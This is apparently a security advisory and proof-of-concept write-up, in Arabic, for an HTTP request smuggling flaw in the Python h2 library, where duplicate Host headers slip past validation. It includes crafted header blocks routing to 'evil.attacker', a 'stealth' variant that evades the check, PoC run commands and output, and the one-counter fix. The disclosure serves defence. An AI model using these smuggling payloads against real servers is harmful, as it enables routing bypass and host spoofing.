
PoC لثغرة CVE-2026-71554 - بدائية تهريب الطلبات عبر ترويسة Host المكررة في h2 (تم إصلاحها في 4.4.1)
CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg المتأثر: h2 <= 4.4.0 المُصلَح: h2 4.4.1 الخطورة: متوسطة (CWE-444، CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554
أثناء مراجعتي لمنطق التحقق من الترويسات في h2، لاحظت أن _validate_host_authority_header() في src/h2/utilities.py تتحقق من تطابق Host و:authority - لكنها تقارن فقط آخر ترويسة Host تراها. إذا أرسلت ترويستَي Host، فإن h2 يستخدم الثانية لفحص التطابق ويمرّر كلتيهما إلى التطبيق دون اعتراض.
ومن المثير للاهتمام أن h2 4.4.0 يرفض بالفعل ترويسات Content-Length المكررة عبر ProtocolError. لم يُطبَّق الإصلاح نفسه على Host. بل كان هناك تعليق TODO في الشيفرة المصدرية يعترف بهذه الثغرة تحديدًا:
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
تستخدم _validate_host_authority_header() في src/h2/utilities.py حلقة بأسلوب "الأخير يفوز" تسجّل آخر قيمة Host تمت رؤيتها وتتحقق منها فقط:
:authority أو Host على الأقللا يوجد أي فحص لعدد ترويسات Host. تُمرَّر كل ترويسة Host إلى التطبيق في المصب بغض النظر عن عددها.
يرسل العميل:
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
يقبل h2 كلتيهما. يستقبل التطبيق ترويستَي Host.
ينتج عن التخفيض إلى HTTP/1.1:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
يشترط RFC 9112 s3.2 على الخادم الرد بـ 400 على أي طلب HTTP/1.1 يحتوي على أكثر من ترويسة Host واحدة. تتباين الأنظمة الخلفية:
nginx — يرفض بـ 400
Python stdlib — يقبل، ويعيد أول Host عند البحث
Werkzeug — يقبل، ويعيد أول Host عند البحث
يرسل العميل:
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- index 0, first Host (seen by origin)
host: good.internal <- index 1, last Host (used by h2 validator)
يتحقق h2 من: آخر Host (good.internal) == :authority (good.internal) - ينجح.
يستقبل التطبيق ترويستَي Host. ينتج عن التخفيض إلى HTTP/1.1:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
الأنظمة الخلفية التي تعيد أول Host عند البحث بمفتاح واحد توجّه الطلب إلى evil.attacker بينما يعتقد h2 أنه تحقق من good.internal. عدم تزامن كامل في التوجيه بين ما تحقق منه h2 وما يعالجه الأصل.
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
يرفع h2 استثناء ProtocolError. يؤكد ذلك أن الثغرة خاصة بترويسات Host المكررة.
التأثير مشروط ببنية النشر:
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
الحالة 1 - ترويسَتا Host، بدون :authority (تُمرَّر كلتاهما)
ترويسات Host المُمرَّرة عبر h2: ['good.internal', 'evil.attacker']
طلب HTTP/1.1 الناتج:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
الحالة 2 - STEALTH: :authority يطابق آخر Host، ويُهرَّب أول Host
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
فحص عدم التطابق في h2 ينجح (:authority == آخر Host).
طلب HTTP/1.1 الناتج:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
CONTROL - Host واحد غير مطابق مقابل :authority (يُرفض بشكل صحيح)
[control] SENDER rejected: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
جميع الحالات الثلاث تُطلق ProtocolError. لا تُمرَّر أي ترويسات.
عدّاد واحد يُضاف إلى الحلقة الموجودة في _validate_host_authority_header():
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
Commit: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6
اكتُشف وأُبلِغ عنه بواسطة Sunand Mohan (https://github.com/SunandM)